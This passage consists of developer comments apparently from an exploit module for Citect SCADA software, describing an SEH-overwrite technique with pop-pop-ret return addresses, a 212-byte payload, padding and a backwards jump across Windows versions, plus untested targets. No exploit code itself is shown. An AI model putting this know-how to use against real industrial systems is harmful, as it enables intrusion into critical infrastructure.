          # * Many targets are missing. v7+ is presumably patched.
          # * CiExceptionMailer.dll can be arbitrarily remapped by other DLLs and were not matching in my environment when changing OSes.
          # * Return addresses (p/p/r) are universal within Citect32.exe across NT4/2K/XP - offset ('Pad') varies likely by OS but not yet confirmed.
          # * Initial attempts at finding common return addresses within v5.21, 5.41, 6.0 DLLs returned nil result. Opcodes listed at end of module.
          # * Windows 98 target removed to conform with the Framework payload support.
          # * Varying hardcoded payload lengths, offsets, padding, nopsled and jumps from original module removed
          #   in favour of standard 212 byte payload + padding to SeH & dynamic backwards jump.
          # * Targets labelled 'untested but correct' from original module have not been QA'ed; mathematically the payload size + jump were correct and expected to work.
          # * Targets labelled 'untested and possibly incorrect' had unexpected payload size and jump lengths. Potentially incorrect or jumping into a copy of the buffer elsewhere.
